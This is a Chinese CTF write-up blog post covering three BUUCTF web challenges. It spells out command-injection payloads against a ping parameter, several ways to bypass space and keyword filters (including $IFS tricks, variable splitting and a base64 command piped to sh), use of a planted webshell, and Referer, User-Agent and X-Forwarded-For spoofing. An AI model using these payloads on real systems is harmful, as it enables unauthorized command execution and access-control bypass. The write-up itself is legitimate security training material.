BUUCTF - web - PingPingPing+Knife+Http

前言

已经坚持了半个月了,有十多天一直在写杂项,直到学长委婉地告诉我杂项没啥技术性,就流量分析有点用,建议我学pwn,所以这几天我开始做web了
我会一直坚持下去
加油!

PingPingPing

分析

在这里插入图片描述

想到昨天做了一个ping加Linux命令,今天这个也可以试试
?ip=127.0.0.1|ls
在这里插入图片描述

尝试拿flag?ip=127.0.0.1|cat flag.php
在这里插入图片描述

看来空格被禁了,尝试绕过
在这里插入图片描述

换个绕过方法,这里选择先拿index.php?ip=127.0.0.1|cat$IFS$9index.php
在这里插入图片描述

有了,但正则不全,应该可以查看源码
在这里插入图片描述

可以看到绕过了各种符号、空格、bash和flag,而且flag是顺序匹配

构造payload

内联执行:反引号在linux中作为内联执行,执行输出结果

?ip=127.0.0.1|cat$IFS$9`ls`

如此会catls的结果
在这里插入图片描述

的确用这种方法拿到index.php了,但不见flag,应该藏到源码里了
在这里插入图片描述

得到flag{8c34c264-96a1-42c7-b5cf-7af02fd8a862}

其他方法

既然是绕过,就有多种绕过方法
上面提到需要绕过空格,我用了两种绕过方法,以下是绕过空格的整理:

{cat,flag.txt} 
cat$IFS$9flag.txt
cat${IFS}flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
//\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过

回到这个题
看源码得知顺序匹配了flag,那也可以交换flag四个字母的顺序
b=ag.php;a=fl;cat$IFS$9$a$b

还有一种方式可以绕过flag匹配,那就是编码
cat flag.phpbase64加密
原命令为:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
用空格绕过法填充空格
echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
总之方法很多,平时练题要多思考,感觉哪个题有意思可以做完后去找找别人写的WP,说不定有新收获

白给的shell

很无聊的一道题
在这里插入图片描述

帮他找菜刀
在这里插入图片描述

打开根目录拿到白给的flag
在这里插入图片描述

得到flag{f663edb8-d17f-4f6a-8845-dfa6ae0ca44a}

Http

在这里插入图片描述

一看到这就知道是套路,直接看源码
在这里插入图片描述
在这里插入图片描述

Repeater

It doesn't come from 'https://Sycsecret.buuoj.cn',那就把referer改成https://Sycsecret.buuoj.cn
在这里插入图片描述

Please use "Syclover" browser,那就把User-Agent改成Syclover
在这里插入图片描述

No!!! you can only read this locally!!!,那就添加X-Forwarded-For: 127.0.0.1
在这里插入图片描述

得到flag{33445841-508a-4a08-872b-52f013612cee}
一道比较基础的web题,可以请教一下烨神的博客

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

1ta-chi

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值